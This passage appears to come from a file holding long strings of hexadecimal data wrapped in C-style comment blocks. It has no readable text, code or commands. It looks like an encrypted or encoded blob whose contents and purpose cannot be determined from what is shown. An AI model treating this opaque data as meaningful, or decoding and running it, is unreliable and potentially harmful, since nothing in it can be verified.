5f55e037612bc2ba72457e4fbd08e1b980fb3f027b12bb6a362d08f771f9b632d4fee2f5787c23cac753b092eb9305d5f935b7e6e13cfe28fb753884c808d9794cd5a80a108bcc98808f80e949f67981ab5f4bd0e6a40314938a85de1369f7c7940a86a717cb44751e6fcfa3ba6db0e72d1b938916f90e9a778f7e22bd5e935c8518a7506c6c2d08b35e460162ddd0b5942ab995a9e1a2c572381bfdb89bcd3df3dec67c3b9cf399f92375a5ef042ce91752ec413a622fdab51849b96d9e43b11b2e5404d802a9751a922b5edc51af46922df32ed4e723cecc8811111cd39b60355cc9671af63b6161cdf1099c172fd937d81eea48ae50e17db95fad3b78b291c8146c90b3d7b5ec9e46c5dde3163105b38ca4a7af5fc01ef60a521293fc7f0ed86ba343a94f10045a85e4c555758f2c225a774367d74a62bd9d07351fc455664a593fdd7284e9931aac745cacd449b64238ce799b051eb919bc01bdfd99f3b3663b207d65cdafc3bb20539e9a6f3231cbd9b7296d42ea6a402efe96ef62c449128a20ef46a1451de9b7535980cd2c9c605baa506d3260155bbda7193ec6e0632981c31ad4362f329fb68c92c054e4f6a5a886dd3eb64ecd323a31c00b9d03d0405e9abc9ed3fe820f879a4875d28299ce00dc33f53c8d024825f742384be0fe0b2baa2029703533cf5aa147491f56d4f16723aa1ceed0bee0f9a2d43554897ed5bff7308b73c751aa2321448d19c3e3f52f9c*/
/*7c08a8a08a51b99420dff98e63539cf20663250603f85ebe7676b69efe2b924e87b204b84368c9bfff5e73edd06bec3b6fa20217d9c126f3cd276d18ef5f80b41a25e35f7f52b412a7d63225bd3a5a2eab2ba2f995861286ea51cbbdcd1cfd6c763f1f471f0e2b71fe660c2e00a5ed83fad661dbfd7a35240414997b439742e62d3db14c0dffc441c8bd943b2985239e1d47de40fa1d6bd2507bf80a184e43293b954abec527f0fa8c645319e7f00a0e58b5cfa31f53c59f1d572545f4209c0851878c8c6c0f63cce844a3fd43337357b4476a15d96b1d655f4c5b84d7fd8617a5972c439e0112536f30e6fca9cf9408cbd2b25008169653475e133c4cf995f95f2e3fe595e5d185aef291a43ea0a27477a588e7a3d7947f35b292b40aa0d312367916114e7b6c1c238c4de50c25928062e4b45aefe1dcc67e14d112bc33daeb0d98b19d6f395765ebe39dcc872d26b7b055d517a421ff3270d910169a501bf4b7c9ef317fc4c8da610962421a60e5c8310f486515266a1d130931738a275a0b5d57152b095cd71d12273effde639d24596991def1aaae1f1d657ee394de4367828ce61873771a328249ccdb8dbdafd70a3b5d086789334169d5b210add8fe1a2fe1fe1ac63e179ce4c3721045ef1377332591155ceab19a2ead918bec2cf7e02bbc6f23d0c9e20586303e01e7af98fdf25c152b0224bebe6f21fa169dc6b65c18ae76f0646742c50ead132869de0bbf3461a3aea22c994e02d40988f9b617bb2f1cc7b59ff3257ec73f03878e7e700c21aaceb2de837aef32e0fc15df5bb03390dc5fded423cf9ccb95c9e2e09caa2fb16727eca88da57e78b50ee64c18a4a51ebeb4ce4a041806e52ff8c98617ada0445b3f60b3e7098603a2b7b867698539b732909cc24f8374df070f608601ca257511e8b4876b629545847fd87f2fbbda23eacc6ae7f243bd538fc119a3b074f584f0f793654b510c0762a63d2cd8a1626ac5255d86dbb2435e62720b54d863c59682062c3208eea63a20ce11eb393c3edb2ef3826e642b1e84ed21d5fd640314ff18238996ec736b7ed957c54df5a09c1cf6d0d9659bbf1562acc90a6c466d104411e994d3a880621078ed923415adf66318db529397d7967d1ce9f04fdffdd652f1f09970e5bd88af0a72c3c8d8da1e6d08352be918feee85d62e5eae4848a2bdb7e1cd184fdff496f95b1ebfa57035c7ef4e2978bfa5a0d8711ea3754f6e93293b5484180b480441fe013ac1c0c242091214141a334f19114e48602b8dc0a95f90a3b949c0baa3b798f1214f18a40c42f3fe114e1da57b941687ab19ed4930fbc3fd128860d8444fd6bc5c0fd80c1d057b4160f0cedaea6e645f6c8bfa3a5876bd8ebe5b871129bdaeb9a2d927d8425d26dba3e531ead946f23c94457fa29a7a140767b9203b181599052ca3bb53b43f83f47b389e2ef5fdf240797096aacfc15fa2dda448c9699642882cf0736ba8b2bbbe6b22b052e79977a4718a626d191af94191798538200df6b2704e9a0457b7b0b34a6a7d45282d08b63a819c464821070662d1c1b3298d025a7c0ec8ba56b6400d89b41a7322688ddb071187e42c4270bd11e978a0a89b9890d314f362b037d51ede46a1c835f552e831f41720dc69ecd79e6ac37f20f5497019995a78563a8f78a250ff751464e55dcd34fabfd4542edd87e47eb2a41e1d786b83aabaf0bbe0399e3ae49d47dad1bb2593272528ad7c5691553349b882a1cdfeeec8ada13504a4eb8d2f6e435905cf4a202413abe8c88e9d6e0e838153832505570a98c568a1a067b587c96a45eb11a8f0c9fe31535c3c5b59f57e2cd17875a567bb4e874070f4ace373c5f6ff61a7871af134d1b64c5d52f23992e07bb3d185c46b42e38dbc321fe88d18657c4a9337a0a184dd1e46ec6467f61748630422d88be1fcf1ddc1f1715e1a06e0567abd9be9bfc3e0ae948b645551e6fb522faa6be585e3106c2c6e022b3e2ba6e715340fa64350972e3fe58f17ed6d569041e74bc796c2c82767988ca7a7f328d692e0a63e7b21e2c85661bd6b8176ab6272f815ec5e0fe2dd386cd5c60049a3c46247d29f583340b3f4b02b3c3407da4bfbf84f99c730c509dad70938f4ddafbdbaa48f153ea2680ac40fa332badc9df73a8c3bff86f5d2535704e30c159e8def8db70b72090291909e9f81d03265b9f9d58ef5448a40abb37a7aecec7011badf6914ec243fecfdfd6f57379001a8577953fed75ddc4d56620c933ba08706ab013dc3fd39339d1cd8fe754168bd85cdf46cefd260fbe51ca600bfc4a059ffaf94a47618038e5f2f3a8d17e3d1742b2d7ae778fa25a79b7d09c10ab64e0517d998b3c1ca41a78550545604e29b44d71eb733b9176abb13ae22c5a0994b4b08b668be4d36c89a831ee2fcc53f4444ad52b1baf9c2cc56c9c6f408b4ae05faf0fdc30cb195bfcdef865e6379bddd04c888bc4878276200f8dd4ea2cba1022573f6ea14432c022402decb43f7b9534899820cda86952d94caf74b56981e0d4cc13ee8a56a405967047a690afed4c6479a86328ca7619ca21ea80a1919d0cfc3fab0db7cd959a4be0217e9e00f8bcc83b8b26c66a0895f926865e842e9a57f4ebd903143ebb0e9e6a573e6cce0828308e6a704ac8f0886f17489c5575d4a711c6c1f94d91c04ae999e0486ecd17a0f1d3aad6a9aea6909135d2557ecda2cdf7b9d57d12f4205c6bcc0533ecdc817f824700d52812bbbcecd4d803aed5361181c06fef8459c87f55c2e443c399aa5a4772707a60d9d589dc3af984780f5fed3731c935d42ec0ae475a29f*/
/*57c31d0b0a1fe467db966c367a2bd85267298f78c0cea2fbd368b3f4fbd3864b3bb3f699ae13fc3701172231234074422a8591f9cf9d165b71679d429fce33afd1d5e17b7018af6a60d378b77b4b811e45e1c35a9ef76054b5751af500710aa2462fdbdcfc915f705afa74e4f6144c6fb06a2cdd55a531feeb4386fd340e9ef2a6418bca8af16e5f95d11eda1a5e9e7b1e1c3451e31811da65a1eeeb5ba1229b44a598843eb33b5a2a7177ef667b5232f54e3842f1ee6df8d72324d7f34474bf239e067d1251e02918eabf5a8e4e141886e20d2e0a650307baa4e2abf07db3ea2312e05920a0e6384ba4553d398bdf52fb9e6eb5058b4e161eacc29eb8235f5649226a8c19696287b18be35a33753e39c53b9a8ac7349fe0bdbb51b37bb15871c1820d36457950f00977a7a99a686823e84bedc47f9831f1c5ad5802a6a9f52c14592a89c75dfaf8ad1c1f7b687fc00aeb4b52ced8a7dba3d5630bd90ab493854ba6855a7c562218e1483718c4f9c159c665df3bfc71464a4d615815623173ec5c93ff4bc58b60f93266b82b28e5de55ec4c18e33dc553dd3717518ac8f324ccd43751bad6728a55a800dc278452b4eba9eb6a5999cf6e573bccb1cca9a8968c70d3df3d0a2bc18cc64a898fe92a4fa8baf8cf2b2eba354499a085b9b096459c8930a5d9df7b3bfcaf114e7024deee6a7d4679476827ce3a23e87ab92a1c04f3c9abd862fd5f35b13e71af3ea1a28751c34788c1d11e6b067987a892785f4ee500decd5ba565054a5ddc4ffe5369fab23b03adda0dae91e8a02dc5e4d6821eb169cd6e22345b27d291c9ea7542317d99974de670884227457c347af8c44960d1205950ce13960055e7ff53248b91fc7b783d5ab6e37b86f3cafe614ce62bf06a14d1db213d1de8ec045c447a43fd78ba7f1bf35728c1fa3058dc53d47d4a9d56e77029fe5b9af33d7085c4b0487e97ef16a339cc4753b3dd3a89381fa0b4ee80fdc747aa2e43cabbd65081d29d653811c8a37ccf3a95bd9e8d35a8dc565e2dae4461e3a0a126aa80a26d800a028341792cd2fdeb797db36d475e755d3b353e57bcc8e8615739a128fc5f2fd1078173f982317a97710e285c38a21f29d52d0b23acf69e25b28832b15898ab7fd99e5957affb22420739236c9564d6444afa48b203f3fd962255dd05417551677a6868f122d09d1eb16e1aba247d218e10b94cad3aaf2f6d3cc674e2eb167e68a39a041c9abedbdf9bd57f57c760848c36f93d05bc27dd5a423a5d1af3777019504d0432dc8625c2a36fe60f43dac155b5ab2b058394d007c91a5471afa0231cda531dcb5d8fb9c43411b7418a79075501c17f1726d3049ab2d78ca221981ad299eedede475590a75a8fd5494acb47f84a097d375dfce15cec20cc022c182d637f6ec84877fd5fdb672520600935bd0be6509c9fe1b13e103b92126e6d04b666aa811074fc1859bf6804c5c9bad247301185941ee23a0da04d3c603101f503faeee49dda77656f8f6b6544f789e388476a8e89daff6a034f6b76b89bb15402cacab2455116d699fb62c0fde2a128dc9efac1f388f0a54803355431506cf3b95a9d6eb255d215edc4e3638114ad776b8b1c36b07b4c03f39878e5525ba88ccbbdcac9c5a3d1095963399dbbe950d266df4a85dac13adbbabeb6f8613d7bb78ab8fb8b34474e77641375f607b942e36d0700747eada28f1e2bcb3f7ea7da4dda80ebbbe129eb7c852e22f4ad4977f89f12e2d2caf8c129c33368f1b74152b69e9565190cc41697b9558d3be5b3c6c69d67dba29b917944833111cb3a9e80edd9cbc2428ffb2499d26818e6bdd1da7d6e4b362cf0ec8169e50fcb0a37ed5336f1f5fe256cb20500f3f34318ee6fe9d8d83c6747eaee58886e1539bdfe52badac4efe37500afa559372a5b6503673139627dc9d3e24c2174af2cff13c5424d9d4e1d8fc8d6b46d171a01a128625fd3196cff15b51df8d22f8884d8fa83d773632a8f6e33776eb57d7c88c5c0a82d348a7df9b7927d48e92878d0d021b06b27174a2e0d7de5f3e1fb68a428fe975755552bf5092f1a0a40f89b3c401a3d6d7f2a443da23814571446b253f264f51b58a40eb1dc1d1a3ff07abb47e499ce11c258d55b22e560595158a26cc3fb747f8c705f8d5ab1bfc842a5e5ff50de17192029284de9c049ad3605652dec29c2d3044ff278aa00e17193aa5fc2397d6ba2419788569a3ac348ea4c2a5ad0cc6965cfaca1cbcf26087a96e4ff1a99912ac4047fa2fbeee4b69634a4cb764422dc7934ba8c896236dcc7603412428ef7b7fb52ca75a8331584db2d8161b6eade51b9768597e765094c5e411788d8f502335611def8bf6bb9118b58a7fce186673dac1d0edc6b4bb738e53225253781d323ce17ff28df96522464ff24ce9c8093c693ceef7fe1a071264212318705ebe965e9db8e9e1517fc071357401368b7ed246a465acd79aaca37f705e5d1d477f7c7daad81e618da43cab69d48a43f19ea89dda18bf0c4f24996a004384b7eeb6f2926dde1c318fb0a9192ce1d5447cacf7562656d4ce412d6871e0d4953e23cddc611b4b4042f6555521558d2a2858cf0472a30de04fbf4c9aab465f4d66315dd68b0fa5afa5da484a20781c4eb65441198430c99aa18344a598f13635980840d291309cf91a543a96e69fe2a06f36d6e14ae885e4e8f523a33a08f298ed1e9c2d267c38588f937055442c71813dca452ea514551ef0aacf7b0a00d08b4f7158a85dd689d334316ce0102f8f278cdcbe2bd1a898d0a777c79f93f124bc1b2dbb1267730a88374fbe3ea2e*/
/*0b577235e18dd91aee19db3350640af3b59e3e1ab9b32142d0df5a7de2894bc8e787db62c43786f3a64924fb2aec08850332552ea07c1bea4f205dbdb1473d6529c9a3b7dc57c3f5e9322b4e45da43e8f1492896c5a245c209826c3e575cdedd0fb70246d0bd2ee7147f7e7c9dc2433013d030cb6acee50fb8e2bc390951510bcf3accad33dc2a70d39bf263ee95dd73584046ec3bfb05e3c00dd09a4336411f563a86350e21ae88c27639021970a732ca40577a6ec96216ffdfa0d42dedd43ba7bebad48bd56dff77d9a7c6e46553f6e7d1808830cfaac5f38d5c97b0f6b7a2b46e0839b6ec69c880c5200107e6aeb0eae042d62211971ed8be072b21429bcd82f303cd768fb4517b42a906eb3ad7a90e710302f30b624af4a78dbd2c000c3d9b45e64e5b040e57133a71022d89c9f9ca501e89d9f7902e4ba79dc4a061d09f2d645e948a9bce32d9b1d38771d61037538efe7bbc26e822fcbe24703f64fc3a373bb05f8b9f0cb8cf472fffa7e8484f810eb6a24403011f829f3f3b3ba09a24aa8f1ff890b660596bc85f876b5a1bff498f6c9d048c90e5468c8860c3363dc0bf90f24701ee8c8fd557acc2b0d86bebee7577a0d2d4abfab8ebeefda60bd2a82366488a35d9a8ed8d36a4b7dfd79d8bce0a3fb91201fe978a19f79bbcfcb368554b9c60223c6e7bd420394364aea93d468b140b7aedad26d84889343a5d947cb86a47467103931248c2a364d6db25e3a1667d16a692dbdf55ec63fb4e62b468efd8bd9de37cb78cf7ebf0c48f519845c6f3c676d3b0f104c4edcc74faa99645b4ecce07cb82ae954383e9dbdbc8f8561b2158de383fe7c4892036f6f80ee47e15f1608cc8eb295eaf42bf30fcc4b856fb82a64a191fe4096adda78f5151a3f145fd928c3ccaa1d63ace19ff657bf9900a8cb1325aeb04133ef57112af64c95e93a5de8896ebafe4ee0d42531637339eb441cdee85f9e5b189e95aae8f5a424cc6a762cc95425fb5c96d41cc0d0b9f6cadca2e6456545a151e6124e8646d4f231d5e58396f234ca5f0a75afcdf6e6aebf6f4aa84866d553d3e7186c832404b3db39547e6fb1bdc54be5b290af3a602adf01868ba099380929a0065e973dc8162e88e52bb441f6d9727d7c1caeb4f86be6eab4aa01e511cd20acad9c6c74c7afdb7800f9624b6651e579bcdae6eb70ff5ac580690bbdc9c7c00b71d27dfd4eb2659a5a82b6b07d9c350ee6a4d956c5ef699750905e817e96b6a17f81734fac722369a0f2d458c1fa78ab5ca9f41eccdbf50a2deaadc528f0a610ca83e9a8b0b76b3a069cac6838fc0f6ca6d8c60c8aca9c34f8741611e5e680601a69682a6609bcf505f7f111372d1aba3ddb49d3dee11c914dabb207e46519c65d95cc025c227eae8aa3bf0a24763ffd1cd891c14c2302118124a5c72e70b419361f8e06ec3916ac046cb522e8e65465dbdeffa401d1854a79ea44c5aab2bf3f6ffbebd7ccf8556283501c7d6de5c4a393b62e9251ead36bf82b8f51acef4534e6cbf27201f5d8c63602a43dc55f8347e6795376b9fca4d89daa40ed9dbe6c66d0135ba92d342605a83a7c266753a473619fa14bd68f837362d7d90c804c238dd1dfd50a4ff444b5fcd8707d180cc716ecbda4c1006bee8285f1580f75acdb3865cc898e4528e886c9eb94e0dc583456ad4d115073f9feb47243d10a02b586a97203a686b7f854e3d2db56cb5f249f0f63f65cc9ee9f544ca9f3f03dbb30ff6a6c6803ac76efe14fded4c200209b5fe950ee976f2ad489a5bf8631ddefec343472c67bbd8110b91370efa1248b94c16a54cef00baa9930754d3d17dfbe1b725326ab32ea6b6e64865e677487307d7d39cba28c73ff4fcf79ee10781af1fc9ff6c8237fb9de1166b476dabe0c374f6a6315c181aba2cff02837b4773d3d7e3e7fa6dd1e5d1626d07405c8a2758308770bef26f1cd1c44c694acc9e3ff99c2dec97a3e40251fad1e551a084b264f8116454c7e0aebdbdb6834504109cfd474cd9a2b48ed52807ccc8dae66aa27140b2b47233cd9db2f05a0ec9e674c0399454696d28ae3221186e2fd692dc2e89b8854c79cf23e03b6a73c801f62c77b6a92e2cf433f63bcb02b114c0d46a4727ae979d4478db55c507cd97b1245786620c816f02dc132d43208906bbdce86cda7b3cf161cb309cadc6a85b858036c46a54e2edfc1a1cd4be564545b95c72013d78800fb52ce1873f71a38ea4b07e7fecdd704d1c3fd4ff236f9b23a2e379ec3d70fcf3c063541a71c9878400af4c618cf1a59b1c72109dc633ddbef2d87dee2c739679bd789d5fca7f585fbf4721076b81ba43a9c4c016c08998c79e9281dffd096f5324b4086251c413ad3bcf9686c5c43ceb2f66b20b4d8a0f339d947f3f4a489c02167c98f886244c8cbe34c90fcb0ed4a49f27025ae842785a89510965cd35fd2cffe82c6985296f6d76ff77ed5aea05a2d9931f27ce63e9a057f9ba438ec2fc2a0d27df1cf6f56c467104dca2bb7f1a924fbef78ef69fb8b1998eece56276ffb7548cd102beacc6f762dd03b1b28f24a9046ccdef30f3b0b2dbcd2cf557c556888bd40ee07aedf59723f216e34627251a55f2380760a59abe8453eb5fb43910002d8116b00641a0ec671c873d4fde500ebbdd79aeb986c615519f06de997f42b68685c44ab3f689d6c1c85fc31e53e76a68ff30f1021cbf7442db3ce86cfe3068c078a7b0e8f57a3ffcfc2e359b58d3aeab1c395282753dfaa23e6d3f7a2cd9d203eab9bbce9fcea79e6684e48cae73f18e13b2d5e83c519f1ac71c295643a71cc9aec4c437cc4c*/
/*75dad05999dd7c5da0410541636ca96a243dc71628dc0edf448159ab2fec3e34f1ebde032869a9749fadfc87e1adea0a9052118c188db9471d9d9f2d47d2f11fb35b6f62b931b355d416f729e287e7f9b7dbda8a705127b280be61b454332081bd2d2f5627468ddf1e4ec448e9a75eccdb3d8e2855bc9da1b06a38723564915dffaebb720bf9a5a17462c4df2043efb9cba084be9a4aade6f5d608668dacf8ae57da3ccfe96ac7f37701f04ddd265d98fab2ada610a2a6e7014fb9998ef48eb772cd5d61cdabf94d1674d61efcfb80fc273ea52373d50d5f675d5e5900c1d2c548d575dc3fe17150f6cca77160ad44f95907ea5949959248816f300f4fb69a21ac7a5ef17b5ef315219d33c5fbc4aedbe24a82a9ddd4046a95040c4b7fbc26e675c9692d9403ff18dbf824844544a383c5707d07866a4e2b9718d476669aa5de88f7181f939e684090a6a3468ff040d6339e10858fbaa520c7fe57e1d1869abc0d5c1b7089c7d4cd0a411e7bcb6850ff4c6efbafcc55da169edd88a915b3f7c904835b198ef4c7f96cdbe4fe7a7bf68b58748343260ad39a890708e0fc2b039ac0c335ba0b3fec1a676e57555e4cb4be578d45a29afcecce4c00f75756a66a53a4c4f74d8b509ec6453b6a5534a4a3c36c89c646901de59698f5e27295d49bf6fb97b801a73593bfdfa364ec0ae1dc9eff0347dbdf4f0072ef8bf515f65de2c7a8424b8e25b3088c7741e3dd895bc1d297fe132bbc335e2d5b49184e6b5c6144a410d1d1d27d37470aa84b7af0ed081e0e0bd7cecc1706ad846f337f99ca4d58d0793b64cb12c4b2b68662cc4e31e41aaf841cdc7e0ea0ec5eb05585937b8b124c837b11eb5eda3497dc92ba964a375ea7bb4552f8ad556d209dd9d99ba67d1fdda33d76088654a20c70756fdf7f4e1bed0b338101008e23f15e69d5c7ce0b33b2838056da8eadc05470149b0f886d44438873f2c776600812c954c8ab53858de1d4ac65a59628514b0ab13a60b5511b9e17f473ede9d06c2a5d9f1bd48fb464d96e7a3cb445f99b73ecbc9899c4ceeb9153e0cade3268109085749bd6d7d15cc95a25bd14c7d742fb03130f3e3a9c3934379e4cf0a822989ee72069ee35cd2bcf9e99ac6bec9c54ed82492cd6aeea33331045c4ecd0400871ae68b0245e6c2e86b096fda575c2b30ac753bd902e5d3fe12d158655264309aa36f2f378265f5965137ee077a84b3a0934a19363fe6ca6ac62e27b0cb654bbcf64fe6c4be4ce387d2971aa3c314774bf7802ce57df775cfd5f274e226b5a72f3bacf671dd8aabc4477254b486b44e79aa31ae070a753d821f992783a5f2571f18b47cf760694fe4f90e93b9facf224d3b5598cba91e26013228a44013eab0ebe66e4d7ae385284321c9069048611e884346acbcc98ea7b704361714c5e47e4402f39b3efba60688040b727123f9dbff4494ccf09aab93fb13503fae64cf3b5f3d8c93a266f6e18e157483d858cb5e4880ce1010f7a502418661d45965838e6910e3cbc750ac4b258bd3895867466744e2829983e6405fb0796c7e484a5a38189a28d0ab428901ff6e9b3d0b8a173f8d8715df4423acf79d5c40e6262f664d18749992f5ea77eb945c016ccb8d76a9f3489ec01d811399463d2294bb04e47565407857e1a4356c0c756a6b1031f86bfc0563c1839d2141893dd9e7abe3ec6c5f23f6c62177fef3cb7178268d99be2f657f9c2ab31578426c0afefcc4d095900f7ed1ac0d725e41b16fbb1d3b615bc6fe54f2fb7540108a6205437748581353425b8c4c8269b9138c059d8c98492766eeba4067934a398205e60ef00cb320e5bcd5402f48d4470b47a6956547ee726f51b6bcb35b36970dee1950844cb2e9f34c08ff2aec51e639f6f3b41a1062d4b5767f3adcee36a2c7f93e335b81bfe8eae1649b4617fe8292a2be632225e8123ab574ec1aa134f266929dd7c07dfd618bd26fd140bd5e7b224b4722c5988e6384027c29c6458aab355afaff12ee5a3119ca752435cbb432a3504dadee3a7cebbd7d5eb0cc3d8fe63dba459e5bebe8a785b75e8d6a40ec2903497275c6166015ceb2f3feffbec74012cba0b82dc930201291d718b196244e41752cdc71747ca9d7930d5cfff13dfd58e83fdbb4d1e143b9c921c40c5c02e719b4e8f1e15c52f06f8e1014d9b8037efcf849454fc9549fa3ec1356669b0693e8ec77668f1f481f72e9a0be4aaa57d22ab0db5859312b129bbc0115329fccc7a4fd90c71927e8489065d1a2657692b8ac9354138048c556466df4e3411c2e83b25b09c7f6cc9cf2150bd8a063879c348cb624dee0907cd27b0b68c03aff316a148cc3bc340b32e2539fc2a70587d79544d79a394cb76dba72f59927ce19a60580fc81b675dcd8231a261642ea92bad74ce00d8c7b6c8b3e5e420f3bf6b670b3a91e1928f05df9e478366f0f9aa9a7e00636ad96bf2e6899b2568c5093e6d2f1b5cb7e60390ce7434b159bbc10797a72a974550733b6d0d92bce326c55d2b79f63811555f5d7b07f7d2787863c601ef8ff7d36b6013a1f70a1759ce06e28d97b987fca6b265303bd3fd494450c42a1f5650c4997eb73a7c12f92bdbca7f4d4103c458127cc9988770a8cf5a03a5bcca281ce7302fd5b08bc37e039dac5123bc999688ec63ee8b7d040eca9b670a0d95cf96a912159a67251a8d1587b3f9378f2e3b4aaa1d4ae490377da6ce6fffac1b50f8a50b2689c0c8f16ec535bd0d14bf89431b5025d2e5b41d25ac7ccaf409e129739ff9b020f2db70236849439c5a385acc16d4cbb13adff452f4ddff873de1e9a5*/
/*1a4f98a8250ec600a435afe2a4fdd37450e7c7c41a9b0ecabebaee2a75c8dc4c98dbdb8e2db267d96a149183370b1940b5a89ce1d8bae0ab7f91e4df26a22873ad85483e62ac19e604abc22260192177ee35ba0f90d8f9d17e6ebb9f72cec415d20b0441138955e5cc8c292195ecb0f98f98d44330d18ea4580795c6911ebb2f71663734facedbecc7b1204f3d95e7a5c84fbc41bc1da1a8f2df7e0e9dd85cf0b34934854ee5919fc8978b8138dc5ce477684f67035242dc1a4a1d32058611f2edd1f5bb76dbf024cb4d594cd75dae736d092e18b4348ff0a8e0933e829fe011252e7eac80884e1672c58ac7a4a757a4db451262cae39df72072bedafbcb171b7215c4794a15ee36f8d872780b79ec6dfeaba82b6acea23045be808033fb80ec5a7f55c28ec0435e1382ced5824677109884a00c4d15ab06c01212996c0163cad1328ba52920854cfdf06b11b1804ef29257a53b852dfa29f476d053a9fa55eeb85e55ff93a1dee417e8d11e4c11945adf89399e0392acce03a04e4980c4e77bcf569241e02472e006708294b85e2166aaa5b80d36ae14efce83bb6ddc6f4007549f063655f3f802ab72fbb448a4ff53622d66e86c2ffa3ae46851d7a1f0d62378846f91d31192da76936c6efc241bd74794b7019db028df9127e0619fa7a75979ba717da782ca82c574531d84bc85b4def9e0f20155637d28c052a7d17797e46cc852da0946a73d4f4579d83fedd9aede57d930d282e629298cfe39a499ce22cf43661b47555d6aab81506ade1f98abfc24a8b572c9d803282080c94096b05703041f827ed439cdc17c02e5d15efd631b2e38c3e21cd446ad732fef07cd13ed14896c2e7424a5efc8554a41c57bedcbeafd2375553e777139b645ea59fdb02835e93fdcb80893e158560632e2028b00dd339b463bc31cf6af3c0bdc7cc2bbd48c9dd5a821497c234651967abc3d97d738ea113301b36bffae71735706032637fef0dc9567c5331f4cdb089e58170121b07fd0f6c62bdf434ff5cf52987314446a2bcf34f9220a59e5a638e118b8d71d7bd0a7985caa473faeb92835978924cb7bde491aa0bdc1f6569b0550cb3cba3e7c491f8a9c2758854c118b7bb5730175649e524003b6a5fd2c011dada8b631db2231cceb3f3e7210486186ba415e591999a7c642f4ad31bb016d5878ec196ed0c2fb624464c3a1a2afc6fe0a35160f2a5cf0bde13cd6db38c3959a2492fa5432878e45824d4caac354d975c3ca6dab4c8c18ce7386a7ef51633f4d5e164e8ff5a40ed8191dba17fce0c96886a3a02cb15327683c5d2e3f2be7a39e6754a6ae075629ee0b65122111821ec6f00481fc0b30183012b7868d5f0a50d3a6a858a302ac2e05aed5d8ea9d116325ce8c10f5dafdcc7d5dd25301f2e722e9dd5c5d26ebaf62ef5d6c6c1fd59321d9ce2c8b1696c4069cb92acc70cac9f5b8b9cf539a1bb82beca41b6aa2e30a4c0970037abd158b19ac0859170fccd7a5a1f704c53b676a61bbc93808f31016cfe5218fda3a3afcde920f8abf86aa6d417252a431e5d7f4701da4b66620bb4c0e75a68c4a5c71000e3796bad5e50dcdc0c1f1d57e49ffcccda795d6f07a398c42bd7e7499809973a5120421720b2001e8b63fa646254c8233e6bde442c45fce752f162f1b3339c6889b9e1a15202445c9f1e4c95bd5e856caec8f782d0236bef1d75467316a66ba3be4bcc7917692cad2af0eff3910e947d3256675120d5b39cf2197c87565eabcdb110abbe256b452c4607d5840161ce9905f1c919370a651ac76f216d96aafa0a82accc09eeb9db8a8c8d10d97a2947ff0d23ed0e9aefac3d0d5e7b172d98521e0d5fffa26d84f86eec76e97172a0795be75edcd74772e152f8503d1a4cc6c1b27a9a872cd6b9a4a78b6df23180e5a03f92458f5668f2536af432e18ac1404b5648589261f9ff3bb4a27fd15310c54f9f99b2744a2104a48ae7a99cfbeec0d557c9653408e384a35389229947becc12ce5adf9d0725008f83b0f1d88f314c80093ccf642d311f094a5ce127e956537edb1551865f885467a6ef88d256b2527dc562eb6780800dbfb6cd346d871c3060ea92e60e175efda335a8cffd11930f5d454e5dda1e1e7df6c13e0938691a9afdb2e2a30ca3e63c6b62ac9f474382ec18075073ee9bd4a829039f5fe11ab77a4eec5585fae59027be98792a4da85a85d2b0a4fcb55cc9b6150a422fc0b3d64641322108f9d702d4cda5899aa51cec062041be85171263d3d0fa94966744f3cc1a4607d1b9d7415b3d306395a90a03a4ad193b3be09c1899fd45d59bc05b57ddd4d20857c5778aa765962ce97f3c515dcc7e02edc756159c1d03422edeb2ac62d0da07a2680d69e15eb9dc45a274a82b625fcfc6ae17d0551f2e77138203215c17ed0a39c4c499e2337ef9cbe4d5e28333452cf885bcbfa6de607d45790033c32ff92addcc041bf0a1cd962346ba61e8ca02310035e0fcae56f551cfa0bc0ac6115323c8b3bf17d18202bba3235b0d3d6c2ba859c31225c5546e833f2b7df08455179c64a3f480d80bd049c994950b5d20509b8a50745c0c0986629d2f723011ee882152eece66f11ce66069be7362a7629a883eeb91cd1c373ac4204860682a0a7a0b4b52bad1a5f2a3f6fc6f2b448c7c9f2f6036e8654b737fdf269d69ae811df0e87ef43420c93214a1da6a3a9633dc42a43c17947e57aff014dbdfe0b83aafd972e80c70fd66c30a1256a0428bcb2a60690410650adfdfd1572180893e1464dfd532df6c290673360408a1f81c578c3c29c3ad726b15d8d1b0b26ee293440*/
/*56d3f38aeb3b8cb1b30572de14f965fe8c1ea55a6681b1182ed4a68e4bc7833e18e07d89990afe0fb8717e92ee59192ad6b1374c521f88f41326c78f34f6d66a5dcb6bedcd2d3f01d987dd33d87c9737319b3e3d3a872287ca25ee98fb2b5a952b0b57319280ad004d59a3b596441e7b138157e0cac26d18c2af34f04671c955afd741da35ea54063f98af9eb3cf8e951277d68bf7b84676a956bb41844fe66fa1968a968d86d1c7dbe2e6cd6d8fcf0b85578394c464c78489f3001188a3d00975bb5768ef62798daf3db1e03b968fd63ab7928dbc9ddf5435ffc816fde276e6831529e316d3b246beb7d012296ef76eab06160adc1f326097ecbccffdfa501191fd4127a6db5a51accf77ebf993d5c695a82a8a5561d3e6c39e6d6b2996478f066e6f477df15d8316b7954aa98746c6810cdbe9736e149f09bf3dddf294293a36042717c801d8a8576204aaa29f5cd856dabd590e730ad1a2d86a5167f2f9d9f03d5b5a6a50df7dcd9bfbc3e2a795716e548a0d478b60c413dd9be0857f66b8f44bd52c3cb72b472be9974052bdea51c8102203af1a7d100274eeab4d352d0b06f1521eab02da926b88f62f12762c4e3e3788fef92b41c80b78cd9d0922a839423a7e998baac97ebc841eab524a0e44fec687de80a73416c28ae89876a313d14fbb2c12279e73c39a89f0f9b5be0b58bc390ded6bc1b520e26f5ef9f8d4e79af85f3f99f446c400328d6cbed3d28902d524385a665fda359ad5763c84c9e76b83893595752b041cd3f652079121e2462316e7e587b502fc01f26ac2b86ed7de8f65984d4a0dc9ea424ecf0cade9e704d287b2c48560783ec7e2d26c0ef0cc735739a9f8436012b5ef46dd677d816eea7e328eb89cae75c8d0807a72c85dfd5ab453f34f78732c96bc127e46bc3c1bd181790ca53e338e60cff99c41acb479129d57abce640f2f646f10ade4543cb1a2488b8c25dd2f8b230dbb032b18e8bf1e7d5016e2fb730cd687313aedf305e878a780fa336fb4ea9f684fa8f563e4b099ddcadf97ae2e6739c6050f519597e46c54631982bd46baa102c61404a1cb75545072e16676e0aadce8c152f79d29c1b0104a5b2ec539316738f7175acebb66111dbaaf1f03f0e832577f9ef995f6034ce6aaa968f07f23d39a8d4daccb54bc4419eae409bb9e16154c07608b75713d182b55a3b3bda583c7fb08fbbfd9ab7013643434771da8ffb6b63e1243287c6dddbb7de120f10b7f35cfa1f1feff40a769180c6262773ed826ebdd3293369c0cde9c71bdc99fa